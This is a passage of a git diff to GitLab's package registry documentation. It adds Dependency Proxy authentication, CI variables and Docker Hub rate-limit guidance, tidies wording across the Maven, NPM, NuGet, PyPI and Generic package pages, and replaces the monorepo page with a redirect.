> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/273655) to [GitLab Core](https://about.gitlab.com/pricing/) in GitLab 13.6.
+> - [Support for private groups](https://gitlab.com/gitlab-org/gitlab/-/issues/11582) in [GitLab Core](https://about.gitlab.com/pricing/) 13.7.
+> - Anonymous access to images in public groups is no longer available starting in [GitLab Core](https://about.gitlab.com/pricing/) 13.7.
The GitLab Dependency Proxy is a local proxy you can use for your frequently-accessed
upstream images.
@@ -15,11 +17,14 @@ upstream images.
In the case of CI/CD, the Dependency Proxy receives a request and returns the
upstream image from a registry, acting as a pull-through cache.
-## Prerequisites
+NOTE:
+The Dependency Proxy is not compatible with Docker version 20.x and later.
+If you are using the Dependency Proxy, Docker version 19.x.x is recommended until
+[issue #290944](https://gitlab.com/gitlab-org/gitlab/-/issues/290944) is resolved.
-To use the Dependency Proxy:
+## Prerequisites
-- Your group must be public. Authentication for private groups is [not supported yet](https://gitlab.com/gitlab-org/gitlab/-/issues/11582).
+The Dependency Proxy must be [enabled by an administrator](../../../administration/packages/dependency_proxy.md).
### Supported images and packages
@@ -32,6 +37,11 @@ The following images and packages are supported.
For a list of planned additions, view the
[direction page](https://about.gitlab.com/direction/package/dependency_proxy/#top-vision-items).
+## Enable the Dependency Proxy
+
+The Dependency Proxy is disabled by default.
+[Learn how an administrator can enable it](../../../administration/packages/dependency_proxy.md).
+
## View the Dependency Proxy
To view the Dependency Proxy:
@@ -42,16 +52,136 @@ The Dependency Proxy is not available for projects.
## Use the Dependency Proxy for Docker images
-CAUTION: **Important:**
-In some specific storage configurations, an issue occurs and container images are not pulled correctly from the cache. The problem occurs when an image is located in object storage. The proxy looks for it locally and fails to find it. View [issue #208080](https://gitlab.com/gitlab-org/gitlab/-/issues/208080) for details.
-
You can use GitLab as a source for your Docker images.
Prerequisites:
- Your images must be stored on [Docker Hub](https://hub.docker.com/).
-- Docker Hub must be available. Follow [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/241639)
- for progress on accessing images when Docker Hub is down.
+
+### Authenticate with the Dependency Proxy
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/11582) in [GitLab Core](https://about.gitlab.com/pricing/) 13.7.
+> - It's [deployed behind a feature flag](../../feature_flags.md), enabled by default.
+> - It's enabled on GitLab.com.
+> - It's recommended for production use.
+> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](../../../administration/packages/dependency_proxy.md#disabling-authentication). **(CORE ONLY)**
+
+WARNING:
+This feature might not be available to you. Check the **version history** note above for details.
+The requirement to authenticate is a breaking change added in 13.7. An [administrator can temporarily
+disable it](../../../administration/packages/dependency_proxy.md#disabling-authentication) if it
+has disrupted your existing Dependency Proxy usage.
+
+Because the Dependency Proxy is storing Docker images in a space associated with your group,
+you must authenticate against the Dependency Proxy.
+
+Follow the [instructions for using images from a private registry](../../../ci/docker/using_docker_images.md#define-an-image-from-a-private-container-registry),
+but instead of using `registry.example.com:5000`, use your GitLab domain with no port `gitlab.example.com`.
+
+For example, to manually log in:
+
+```shell
+docker login gitlab.example.com --username my_username --password my_password
+```
+
+You can authenticate using:
+
+- Your GitLab username and password.
+- A [personal access token](../../../user/profile/personal_access_tokens.md) with the scope set to `read_registry` and `write_registry`.
+
+#### Authenticate within CI/CD
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/280582) in GitLab 13.7.
+
+To work with the Dependency Proxy in [GitLab CI/CD](../../../ci/README.md), you can use:
+
+- `CI_DEPENDENCY_PROXY_USER`: A CI user for logging in to the Dependency Proxy.
+- `CI_DEPENDENCY_PROXY_PASSWORD`: A CI password for logging in to the Dependency Proxy.
+- `CI_DEPENDENCY_PROXY_SERVER`: The server for logging in to the Dependency Proxy.
+- `CI_DEPENDENCY_PROXY_GROUP_IMAGE_PREFIX`: The image prefix for pulling images through the Dependency Proxy.
+
+This script shows how to use these variables to log in and pull an image from the Dependency Proxy:
+
+```yaml
+# .gitlab-ci.yml
+
+dependency-proxy-pull-master:
+ # Official docker image.
+ image: docker:latest
+ stage: build
+ services:
+ - docker:dind
+ before_script:
+ - docker login -u "$CI_DEPENDENCY_PROXY_USER" -p "$CI_DEPENDENCY_PROXY_PASSWORD" "$CI_DEPENDENCY_PROXY_SERVER"
+ script:
+ - docker pull "$CI_DEPENDENCY_PROXY_GROUP_IMAGE_PREFIX"/alpine:latest
+```
+
+`CI_DEPENDENCY_PROXY_SERVER` and `CI_DEPENDENCY_PROXY_GROUP_IMAGE_PREFIX` include the server port. So if you use `CI_DEPENDENCY_PROXY_SERVER` to log in, for example, you must explicitly include the port in your pull command and vice-versa:
+
+```shell
+docker pull gitlab.example.com:443/my-group/dependency_proxy/containers/alpine:latest
+```
+
+You can also use [custom environment variables](../../../ci/variables/README.md#custom-environment-variables) to store and access your personal access token or other valid credentials.
+
+##### Authenticate with `DOCKER_AUTH_CONFIG`
+
+You can use the Dependency Proxy to pull your base image.
+
+1. [Create a `DOCKER_AUTH_CONFIG` environment variable](../../../ci/docker/using_docker_images.md#define-an-image-from-a-private-container-registry).
+1. Get credentials that allow you to log into the Dependency Proxy.
+1. Generate the version of these credentials that will be used by Docker:
+
+ ```shell
+ # The use of "-n" - prevents encoding a newline in the password.
+ echo -n "my_username:my_password" | base64
+
+ # Example output to copy
+ bXlfdXNlcm5hbWU6bXlfcGFzc3dvcmQ=
+ ```
+
+ This can also be other credentials such as:
+
+ ```shell
+ echo -n "my_username:personal_access_token" | base64
+ echo -n "deploy_token_username:deploy_token" | base64
+ ```
+
+1. Create a [custom environment variables](../../../ci/variables/README.md#custom-environment-variables)
+named `DOCKER_AUTH_CONFIG` with a value of:
+
+ ```json
+ {
+ "auths": {
+ "https://gitlab.example.com": {
+ "auth": "(Base64 content from above)"
+ }
+ }
+ }
+ ```
+
+ To use `$CI_DEPENDENCY_PROXY_GROUP_IMAGE_PREFIX` when referencing images, you must explicitly include the port in your `DOCKER_AUTH_CONFIG` value:
+
+ ```json
+ {
+ "auths": {
+ "https://gitlab.example.com:443": {
+ "auth": "(Base64 content from above)"
+ }
+ }
+ }
+ ```
+
+1. Now reference the Dependency Proxy in your base image:
+
+ ```yaml
+ # .gitlab-ci.yml
+ image: ${CI_DEPENDENCY_PROXY_GROUP_IMAGE_PREFIX}/node:latest
+ ...
+ ```
+
+### Store a Docker image in Dependency Proxy cache
To store a Docker image in Dependency Proxy storage:
@@ -89,3 +219,69 @@ stored.
To reclaim disk space used by image blobs that are no longer needed, use
the [Dependency Proxy API](../../../api/dependency_proxy.md).
+
+## Docker Hub rate limits and the Dependency Proxy
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/241639) in [GitLab Core](https://about.gitlab.com/pricing/) 13.7.
+
+<i class="fa fa-youtube-play youtube" aria-hidden="true"></i>
+Watch how to [use the Dependency Proxy to help avoid Docker Hub rate limits](https://youtu.be/Nc4nUo7Pq08).
+
+In November 2020, Docker introduced
+[rate limits on pull requests from Docker Hub](https://docs.docker.com/docker-hub/download-rate-limit/).
+If your GitLab [CI/CD configuration](../../../ci/README.md) uses
+an image from Docker Hub, each time a job runs, it may count as a pull request.
+To help get around this limit, you can pull your image from the Dependency Proxy cache instead.
+
+When you pull an image (by using a command like `docker pull` or, in a `.gitlab-ci.yml`
+file, `image: foo:latest`), the Docker client makes a collection of requests:
+
+1. The image manifest is requested. The manifest contains information about
+ how to build the image.
+1. Using the manifest, the Docker client requests a collection of layers, also
+ known as blobs, one at a time.
+
+The Docker Hub rate limit is based on the number of GET requests for the manifest. The Dependency Proxy
+caches both the manifest and blobs for a given image, so when you request it again,
+Docker Hub does not have to be contacted.
+
+### How does GitLab know if a cached tagged image is stale?
+
+If you are using an image tag like `alpine:latest`, the image changes
+over time. Each time it changes, the manifest contains different information about which
+blobs to request. The Dependency Proxy does not pull a new image each time the
+manifest changes; it checks only when the manifest becomes stale.
+
+Docker does not count HEAD requests for the image manifest towards the rate limit.
+You can make a HEAD request for `alpine:latest`, view the digest (checksum)
+value returned in the header, and determine if a manifest has changed.
+
+The Dependency Proxy starts all requests with a HEAD request. If the manifest
+has become stale, only then is a new image pulled.
+
+For example, if your pipeline pulls `node:latest` every five
+minutes, the Dependency Proxy caches the entire image and only updates it if
+`node:latest` changes. So instead of having 360 requests for the image in six hours
+(which exceeds the Docker Hub rate limit), you only have one pull request, unless
+the manifest changed during that time.
+
+### Check your Docker Hub rate limit
+
+If you are curious about how many requests to Docker Hub you have made and how
+many remain, you can run these commands from your runner, or even in a CI/CD
+script:
+
+```shell
+# Note, you must have jq installed to run this command
+TOKEN=$(curl "https://auth.docker.io/token?service=registry.docker.io&scope=repository:ratelimitpreview/test:pull" | jq --raw-output .token) && curl --head --header "Authorization: Bearer $TOKEN" "https://registry-1.docker.io/v2/ratelimitpreview/test/manifests/latest" 2>&1 | grep RateLimit
+...
+```
+
+The output is something like:
+
+```shell
+RateLimit-Limit: 100;w=21600
+RateLimit-Remaining: 98;w=21600
+```
+
+This example shows the total limit of 100 pulls in six hours, with 98 pulls remaining.
diff --git a/doc/user/packages/generic_packages/index.md b/doc/user/packages/generic_packages/index.md
index f489c7c800f..c9859840c9c 100644
--- a/doc/user/packages/generic_packages/index.md
+++ b/doc/user/packages/generic_packages/index.md
@@ -1,7 +1,7 @@
---
stage: Package
group: Package
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# GitLab Generic Packages Repository **(CORE)**
@@ -13,7 +13,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
> - It's recommended for production use.
> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-generic-packages-in-the-package-registry).
-CAUTION: **Warning:**
+WARNING:
This feature might not be available to you. Check the **version history** note above for details.
Publish generic files, like release binaries, in your project’s Package Registry. Then, install the packages whenever you need to use them as a dependency.
@@ -39,7 +39,7 @@ PUT /projects/:id/packages/generic/:package_name/:package_version/:file_name
| -------------------| --------------- | ---------| -------------------------------------------------------------------------------------------------------------------------------- |
| `id` | integer/string | yes | The ID or [URL-encoded path of the project](../../../api/README.md#namespaced-path-encoding). |
| `package_name` | string | yes | The package name. It can contain only lowercase letters (`a-z`), uppercase letter (`A-Z`), numbers (`0-9`), dots (`.`), hyphens (`-`), or underscores (`_`).
-| `package_version` | string | yes | The package version. It can contain only numbers (`0-9`), and dots (`.`). Must be in the format of `X.Y.Z`, i.e. should match `/\A\d+\.\d+\.\d+\z/` regular expresion.
+| `package_version` | string | yes | The package version. It can contain only numbers (`0-9`), and dots (`.`). Must be in the format of `X.Y.Z`, i.e. should match `/\A\d+\.\d+\.\d+\z/` regular expression.
| `file_name` | string | yes | The file name. It can contain only lowercase letters (`a-z`), uppercase letter (`A-Z`), numbers (`0-9`), dots (`.`), hyphens (`-`), or underscores (`_`).
Provide the file context in the request body.
@@ -49,7 +49,7 @@ Example request:
```shell
curl --header "PRIVATE-TOKEN: <your_access_token>" \
--upload-file path/to/file.txt \
- https://gitlab.example.com/api/v4/projects/24/packages/generic/my_package/0.0.1/file.txt
+ "https://gitlab.example.com/api/v4/projects/24/packages/generic/my_package/0.0.1/file.txt"
```
Example response:
@@ -79,13 +79,13 @@ GET /projects/:id/packages/generic/:package_name/:package_version/:file_name
| `package_version` | string | yes | The package version. |
| `file_name` | string | yes | The file name. |
-The file context is served in the response body. The response content type will be `application/octet-stream`.
+The file context is served in the response body. The response content type is `application/octet-stream`.
Example request that uses a personal access token:
```shell
curl --header "PRIVATE-TOKEN: <your_access_token>" \
- https://gitlab.example.com/api/v4/projects/24/packages/generic/my_package/0.0.1/file.txt
+ "https://gitlab.example.com/api/v4/projects/24/packages/generic/my_package/0.0.1/file.txt"
```
## Publish a generic package by using CI/CD
@@ -105,7 +105,7 @@ stages:
upload:
stage: upload
script:
- - 'curl --header "JOB-TOKEN: $CI_JOB_TOKEN" --upload-file path/to/file.txt ${CI_API_V4_URL}/projects/${CI_PROJECT_ID}/packages/generic/my_package/0.0.1/file.txt'
+ - 'curl --header "JOB-TOKEN: $CI_JOB_TOKEN" --upload-file path/to/file.txt "${CI_API_V4_URL}/projects/${CI_PROJECT_ID}/packages/generic/my_package/0.0.1/file.txt"'
download:
stage: download
diff --git a/doc/user/packages/go_proxy/index.md b/doc/user/packages/go_proxy/index.md
index 81edc3afcfd..87cd4a4a9a6 100644
--- a/doc/user/packages/go_proxy/index.md
+++ b/doc/user/packages/go_proxy/index.md
@@ -1,7 +1,7 @@
---
stage: Package
group: Package
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Go proxy for GitLab
@@ -45,7 +45,7 @@ Feature.enable(:go_proxy, Project.find(1))
Feature.disable(:go_proxy, Project.find(2))
```
-NOTE: **Note:**
+NOTE:
Even if it's enabled, GitLab doesn't display Go modules in the **Package Registry**.
Follow [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/213770) for
details.
@@ -159,7 +159,7 @@ later, can be written with `go env -w <var>=<value>`. For example,
Go modules and module versions are defined by source repositories, such as Git,
SVN, and Mercurial. A module is a repository that contains `go.mod` and Go
-files. Module versions are defined by VCS tags.
+files. Module versions are defined by version control system (VCS) tags.
To publish a module, push `go.mod` and source files to a VCS repository. To
publish a module version, push a VCS tag.
diff --git a/doc/user/packages/index.md b/doc/user/packages/index.md
index 83d179cbc9c..9da14842845 100644
--- a/doc/user/packages/index.md
+++ b/doc/user/packages/index.md
@@ -1,7 +1,7 @@
---
stage: Package
group: Package
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Packages & Registries
@@ -32,8 +32,8 @@ You can also use the [API](../../api/packages.md) to administer the Package Regi
## Accepting contributions
-The below table lists formats that are not supported, but are accepting Community contributions for. Consider contributing to GitLab. This [development documentation](../../development/packages.md) will
-guide you through the process.
+The below table lists formats that are not supported, but are accepting Community contributions for. Consider contributing to GitLab. This [development documentation](../../development/packages.md)
+guides you through the process.
| Format | Status |
| ------ | ------ |
diff --git a/doc/user/packages/maven_repository/index.md b/doc/user/packages/maven_repository/index.md
index 5d0d64b310d..e0f5a400977 100644
--- a/doc/user/packages/maven_repository/index.md
+++ b/doc/user/packages/maven_repository/index.md
@@ -1,7 +1,7 @@
---
stage: Package
group: Package
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Maven packages in the Package Repository
@@ -361,7 +361,7 @@ To use the GitLab endpoint for Maven packages, choose an option:
- **Instance-level**: Use when you have many Maven packages in different
GitLab groups or in their own namespace.
-The option you choose determines the settings you'll add to your `pom.xml` file.
+The option you choose determines the settings you add to your `pom.xml` file.
In all cases, to publish a package, you need:
@@ -653,7 +653,7 @@ The message should show that the package is downloading from the Package Registr
Downloading from gitlab-maven: http://gitlab.example.com/api/v4/projects/PROJECT_ID/packages/maven/com/mycompany/mydepartment/my-project/1.0-SNAPSHOT/my-project-1.0-20200128.120857-1.pom
```
-TIP: **Tip:**
+NOTE:
In the GitLab UI, on the Package Registry page for Maven, you can view and copy these commands.
### Use Gradle
@@ -707,23 +707,23 @@ You can create a new package each time the `master` branch is updated.
1. Make sure your `pom.xml` file includes the following.
You can either let Maven use the CI environment variables, as shown in this example,
- or you can hard code your project's ID.
+ or you can hard code your server's hostname and project's ID.
```xml
<repositories>
<repository>
<id>gitlab-maven</id>
- <url>https://gitlab.example.com/api/v4/projects/${env.CI_PROJECT_ID}/packages/maven</url>
+ <url>${env.CI_SERVER_URL}/api/v4/projects/${env.CI_PROJECT_ID}/packages/maven</url>
</repository>
</repositories>
<distributionManagement>
<repository>
<id>gitlab-maven</id>
- <url>https://gitlab.example.com/api/v4/projects/${env.CI_PROJECT_ID}/packages/maven</url>
+ <url>${env.CI_SERVER_URL}/api/v4/projects/${env.CI_PROJECT_ID}/packages/maven</url>
</repository>
<snapshotRepository>
<id>gitlab-maven</id>
- <url>https://gitlab.example.com/api/v4/projects/${env.CI_PROJECT_ID}/packages/maven</url>
+ <url>${env.CI_SERVER_URL}/api/v4/projects/${env.CI_PROJECT_ID}/packages/maven</url>
</snapshotRepository>
</distributionManagement>
```
@@ -793,7 +793,7 @@ mvn deploy \
-Dorg.slf4j.simpleLogger.log.org.apache.maven.wagon.providers.http.httpclient.wire=trace
```
-CAUTION: **Caution:**
+WARNING:
When you set these options, all network requests are logged and a large amount of output is generated.
### Useful Maven command-line options
diff --git a/doc/user/packages/npm_registry/index.md b/doc/user/packages/npm_registry/index.md
index feb797240f4..51b41b842fa 100644
--- a/doc/user/packages/npm_registry/index.md
+++ b/doc/user/packages/npm_registry/index.md
@@ -1,7 +1,7 @@
---
stage: Package
group: Package
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# NPM packages in the Package Registry
@@ -12,7 +12,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
Publish NPM packages in your project's Package Registry. Then install the
packages whenever you need to use them as a dependency.
-Only [scoped](https://docs.npmjs.com/misc/scope) packages are supported.
+Only [scoped](https://docs.npmjs.com/misc/scope/) packages are supported.
## Build an NPM package
@@ -25,7 +25,7 @@ the [next section](#authenticate-to-the-package-registry).
### Install NPM
Install Node.js and NPM in your local development environment by following
-the instructions at [npmjs.com](https://docs.npmjs.com/downloading-and-installing-node-js-and-npm).
+the instructions at [npmjs.com](https://docs.npmjs.com/downloading-and-installing-node-js-and-npm/).
When installation is complete, verify you can use NPM in your terminal by
running:
@@ -102,10 +102,11 @@ To authenticate to the Package Registry, you must use one of the following:
- It's not recommended, but you can use [OAuth tokens](../../../api/oauth2.md#resource-owner-password-credentials-flow).
Standard OAuth tokens cannot authenticate to the GitLab NPM Registry. You must use a personal access token with OAuth headers.
- A [CI job token](#authenticate-with-a-ci-job-token).
+- Your NPM package name must be in the format of [@scope:package-name](#package-naming-convention). It must match exactly, including the case.
### Authenticate with a personal access token or deploy token
-To authenticate with the Package Registry, you will need a [personal access token](../../profile/personal_access_tokens.md) or [deploy token](../../project/deploy_tokens/index.md).
+To authenticate with the Package Registry, you need a [personal access token](../../profile/personal_access_tokens.md) or [deploy token](../../project/deploy_tokens/index.md).
#### Project-level NPM endpoint
@@ -228,7 +229,7 @@ This regex allows almost all of the characters that NPM allows, with a few excep
The regex also allows for capital letters, while NPM does not. Capital letters are needed because the scope must be
identical to the root namespace of the project.
-CAUTION: **Caution:**
+WARNING:
When you update the path of a user or group, or transfer a subgroup or project,
you must remove any NPM packages first. You cannot update the root namespace
of a project with NPM packages. Make sure you update your `.npmrc` files to follow
@@ -240,6 +241,7 @@ Prerequisites:
- [Authenticate](#authenticate-to-the-package-registry) to the Package Registry.
- Set a [project-level NPM endpoint](#use-the-gitlab-endpoint-for-npm-packages).
+- Your NPM package name must be in the format of [@scope:package-name](#package-naming-convention). It must match exactly, including the case.
To upload an NPM package to your project, run this command:
@@ -277,6 +279,10 @@ deploy:
- npm publish
```
+See the
+[Publish NPM packages to the GitLab Package Registry using semantic-release](../../../ci/examples/semantic-release.md)
+step-by-step guide and demo project for a complete example.
+
## Publishing packages with the same name or version
You cannot publish a package if a package of the same name and version already exists.
@@ -356,7 +362,7 @@ In GitLab 12.6 and later, packages published to the Package Registry expose the
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/9425) in GitLab Premium 12.8.
> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/221259) to GitLab Core in 13.3.
-You can add [distribution tags](https://docs.npmjs.com/cli/dist-tag) to newly-published packages.
+You can add [distribution tags](https://docs.npmjs.com/cli/dist-tag/) to newly-published packages.
Tags are optional and can be assigned to only one package at a time.
When you publish a package without a tag, the `latest` tag is added by default.
@@ -451,3 +457,11 @@ If you get this error, ensure that:
- The scoped packages URL includes a trailing slash:
- Correct: `//gitlab.example.com/api/v4/packages/npm/`
- Incorrect: `//gitlab.example.com/api/v4/packages/npm`
+
+### `npm publish` returns `npm ERR! 400 Bad Request`
+
+If you get this error, your package name may not meet the
+[@scope:package-name package naming convention](#package-naming-convention).
+
+Ensure the name meets the convention exactly, including the case.
+Then try to publish again.
diff --git a/doc/user/packages/nuget_repository/index.md b/doc/user/packages/nuget_repository/index.md
index 2b61c4a6c28..bdf50ecef0b 100644
--- a/doc/user/packages/nuget_repository/index.md
+++ b/doc/user/packages/nuget_repository/index.md
@@ -1,7 +1,7 @@
---
stage: Package
group: Package
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# NuGet packages in the Package Registry
@@ -181,7 +181,7 @@ nuget push <package_file> -Source <source_name>
Prerequisite:
-[A NuGet package created with .NET CLI](https://docs.microsoft.com/en-us/nuget/create-packages/creating-a-package-dotnet-cli).
+- [A NuGet package created with .NET CLI](https://docs.microsoft.com/en-us/nuget/create-packages/creating-a-package-dotnet-cli).
Publish a package by running this command:
@@ -233,7 +233,7 @@ updated:
### Install a package with the NuGet CLI
-CAUTION: **Warning:**
+WARNING:
By default, `nuget` checks the official source at `nuget.org` first. If you have
a NuGet package in the Package Registry with the same name as a package at
`nuget.org`, you must specify the source name to install the correct package.
@@ -253,7 +253,7 @@ nuget install <package_id> -OutputDirectory <output_directory> \
### Install a package with the .NET CLI
-CAUTION: **Warning:**
+WARNING:
If you have a package in the Package Registry with the same name as a package at
a different source, verify the order in which `dotnet` checks sources during
install. This is defined in the `nuget.config` file.
diff --git a/doc/user/packages/package_registry/index.md b/doc/user/packages/package_registry/index.md
index 56fd4a02ba0..5876ef19ad9 100644
--- a/doc/user/packages/package_registry/index.md
+++ b/doc/user/packages/package_registry/index.md
@@ -1,7 +1,7 @@
---
stage: Package
group: Package
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Package Registry
@@ -33,20 +33,19 @@ CI/CD templates, which you can use to get started, are in [this repo](https://gi
Learn more about using CI/CD to build:
-- [Maven packages](../maven_repository/index.md#create-maven-packages-with-gitlab-cicd)
-- [NPM packages](../npm_registry/index.md#publish-an-npm-package-by-using-cicd)
- [Composer packages](../composer_repository/index.md#publish-a-composer-package-by-using-cicd)
-- [NuGet packages](../nuget_repository/index.md#publish-a-nuget-package-by-using-cicd)
- [Conan packages](../conan_repository/index.md#publish-a-conan-package-by-using-cicd)
- [Generic packages](../generic_packages/index.md#publish-a-generic-package-by-using-cicd)
+- [Maven packages](../maven_repository/index.md#create-maven-packages-with-gitlab-cicd)
+- [NPM packages](../npm_registry/index.md#publish-an-npm-package-by-using-cicd)
+- [NuGet packages](../nuget_repository/index.md#publish-a-nuget-package-by-using-cicd)
If you use CI/CD to build a package, extended activity information is displayed
when you view the package details:
![Package CI/CD activity](img/package_activity_v12_10.png)
-When using Maven and NPM, you can view which pipeline published the package, and
-the commit and user who triggered it.
+You can view which pipeline published the package, and the commit and user who triggered it. However, the history is limited to five updates of a given package.
## Download a package
@@ -95,4 +94,3 @@ The **Packages & Registries > Package Registry** entry is removed from the sideb
Learn how to use the GitLab Package Registry to build your own custom package workflow.
- [Use a project as a package registry](../workflows/project_registry.md) to publish all of your packages to one project.
-- Publish multiple different packages from one [monorepo project](../workflows/monorepo.md).
diff --git a/doc/user/packages/pypi_repository/index.md b/doc/user/packages/pypi_repository/index.md
index 83b29d5f53a..e78224f89d1 100644
--- a/doc/user/packages/pypi_repository/index.md
+++ b/doc/user/packages/pypi_repository/index.md
@@ -1,7 +1,7 @@
---
stage: Package
group: Package
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# PyPI packages in the Package Registry
@@ -237,11 +237,11 @@ When publishing packages, note that:
- The maximum allowed size is 50 MB.
- You can't upload the same version of a package multiple times. If you try,
- you'll receive the error `Validation failed: File name has already been taken`.
+ you receive the error `Validation failed: File name has already been taken`.
### Ensure your version string is valid
-If your version string (for example, `0.0.1`) isn't valid, it will be rejected.
+If your version string (for example, `0.0.1`) isn't valid, it gets rejected.
GitLab uses the following regex to validate the version string.
```ruby
diff --git a/doc/user/packages/workflows/monorepo.md b/doc/user/packages/workflows/monorepo.md
index 1e375dffe7e..abba9df6ec2 100644
--- a/doc/user/packages/workflows/monorepo.md
+++ b/doc/user/packages/workflows/monorepo.md
@@ -1,120 +1,9 @@
---
-stage: Package
-group: Package
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+redirect_to: '../npm_registry/index.md'
+disqus_identifier: 'https://docs.gitlab.com/ee/user/packages/workflows/monorepo.html'
---
-# Monorepo package management workflows
+This document was moved to [another location](../npm_registry/index.md).
-Oftentimes, one project or Git repository may contain multiple different
-sub-projects or submodules that all get packaged and published individually.
-
-## Publishing different packages to the parent project
-
-The number and name of packages you can publish to one project is not limited.
-You can accomplish this by setting up different configuration files for each
-package. See the documentation for the package manager of your choice since
-each has its own specific files and instructions to follow to publish
-a given package.
-
-Here, we take a walk through how to do this with [NPM](../npm_registry/index.md).
-
-Let us say we have a project structure like so:
-
-```plaintext
-MyProject/
- |- src/
- | |- components/
- | |- Foo/
- |- package.json
-```
-
-`MyProject` is the parent project, which contains a sub-project `Foo` in the
-`components` directory. We would like to publish packages for both `MyProject`
-as well as `Foo`.
-
-Following the instructions in the
-[GitLab NPM registry documentation](../npm_registry/index.md),
-publishing `MyProject` consists of modifying the `package.json` file with a
-`publishConfig` section, as well as either modifying your local NPM configuration with
-CLI commands like `npm config set`, or saving a `.npmrc` file in the root of the
-project specifying these configuration settings.
-
-If you follow the instructions you can publish `MyProject` by running
-`npm publish` from the root directory.
-
-Publishing `Foo` is almost exactly the same, you simply have to follow the steps
-while in the `Foo` directory. `Foo` needs its own `package.json` file,
-which can be added manually or using `npm init`. It also needs its own
-configuration settings. Since you are publishing to the same place, if you
-used `npm config set` to set the registry for the parent project, then no
-additional setup is necessary. If you used a `.npmrc` file, you need an
-additional `.npmrc` file in the `Foo` directory (be sure to add `.npmrc` files
-to the `.gitignore` file or use environment variables in place of your access
-tokens to prevent them from being exposed). It can be identical to the
-one you used in `MyProject`. You can now run `npm publish` from the `Foo`
-directory and you can publish `Foo` separately from `MyProject`
-
-A similar process could be followed for Conan packages, instead of dealing with
-`.npmrc` and `package.json`, you just deal with `conanfile.py` in
-multiple locations within the project.
-
-## Publishing to other projects
-
-A package is associated with a project on GitLab, but the package does not
-need to be associated with the code in that project. Notice when configuring
-NPM or Maven, you only use the `Project ID` to set the registry URL that the
-package is to be uploaded to. If you set this to any project that you have
-access to and update any other configuration similarly depending on the package type,
-your packages are published to that project. This means you can publish
-multiple packages to one project, even if their code does not exist in the same
-place. See the [project registry workflow documentation](project_registry.md)
-for more details.
-
-## CI workflows for automating packaging
-
-CI pipelines open an entire world of possibilities for dealing with the patterns
-described in the previous sections. A common desire would be to publish
-specific packages only if changes were made to those directories.
-
-Using the example project above, this `gitlab-ci.yml` file publishes
-`Foo` anytime changes are made to the `Foo` directory on the `master` branch,
-and publish `MyPackage` anytime changes are made to anywhere _except_ the `Foo`
-directory on the `master` branch.
-
-```yaml
-image: node:latest
-
-stages:
- - build
-
-build-foo-package:
- stage: build
- variables:
- PACKAGE: "Foo"
- script:
- - cd src/components/Foo
- - echo "Building $PACKAGE"
- - npm publish
- only:
- refs:
- - master
- - merge_requests
- changes:
- - "src/components/Foo/**/*"
-
-build-my-project-package:
- stage: build
- variables:
- PACKAGE: "MyPackage"
- script:
- - echo "Building $PACKAGE"
- - npm publish
- only:
- refs:
- - master
- - merge_requests
- except:
- changes:
- - "src/components/Foo/**/*"
-```
+<!-- This redirect file can be deleted after <2021-02-14>. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/user/packages/workflows/project_registry.md b/doc/user/packages/workflows/project_registry.md
index a8972f05acd..aea1238b9da 100644
--- a/doc/user/packages/workflows/project_registry.md
+++ b/doc/user/packages/workflows/project_registry.md
@@ -1,98 +1,84 @@
---
stage: Package
group: Package
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Project as a package registry
+# Store all of your packages in one GitLab project
-Using the features of the package registry, it is possible to use one project to store all of your packages.
+You can store all of your packages in one project's Package Registry. Rather than using
